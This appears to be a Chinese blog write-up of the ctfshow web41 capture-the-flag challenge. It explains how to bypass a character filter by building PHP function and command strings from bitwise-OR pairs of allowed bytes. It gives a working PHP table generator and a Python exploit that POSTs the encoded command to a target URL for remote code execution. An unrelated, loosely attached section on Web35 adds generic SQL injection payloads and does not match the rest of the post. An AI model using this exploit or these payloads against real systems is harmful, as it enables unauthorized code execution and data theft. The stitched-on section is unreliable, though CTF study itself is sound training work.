ctfshow web入门 web41

本文介绍了一种在特定字符被过滤的情况下,通过或运算符构造有效字符的方法。提供了两个脚本,用于生成可用字符集,并展示了如何利用这些字符进行参数传递,实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)
### CTFShow Web 入门 Web35 的解题思路 CTFShow 平台中的 Web 类别题目通常涉及常见的 Web 安全漏洞,例如 SQL 注入、XSS 跨站脚本攻击以及文件上传等。对于 Web35 这一入门级别的挑战,可以从以下几个方面入手分析并尝试解决。 #### 题目背景与目标 Web35 是一个典型的基于 GET 请求参数的注入类题目[^1]。通过访问页面可以发现存在动态加载的内容或者查询功能,这表明可能存在未经过滤的输入点用于执行恶意操作。具体来说,该题目的核心在于利用 URL 参数构造特定请求来绕过验证机制获取隐藏数据。 #### 技术要点解析 - **SQL Injection Basics**: 如果怀疑有 SQL 注射风险,则应测试各种特殊字符组合如 `'`, `"`, `--` 和其他可能影响语句逻辑的部分。当遇到错误反馈时更需注意调整payload试探数据库版本及结构信息。 ```sql ' OR '1'='1 -- ``` 上述代码片段展示了如何构建简单的布尔型盲注 payload 来改变原始查询条件从而达到控制结果集的目的。 - **Error-Based Exploitation**: 尝试触发异常响应以暴露更多关于内部工作流程的信息。某些情况下服务器会返回详细的错误描述有助于进一步确认假设方向正确与否。 - **Union Select Technique**: 当得知列数匹配情况之后可采用 union select 方法读取额外字段内容直至找到敏感资料为止。 ```sql ?param=1 UNION SELECT null,version(),database() ``` 此段示例说明了怎样运用union select技术从不同表里提取有用情报同时保持整体语法有效性的方法。 综上所述,在处理此类问题过程中要灵活应用多种技巧相互配合才能顺利通关。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值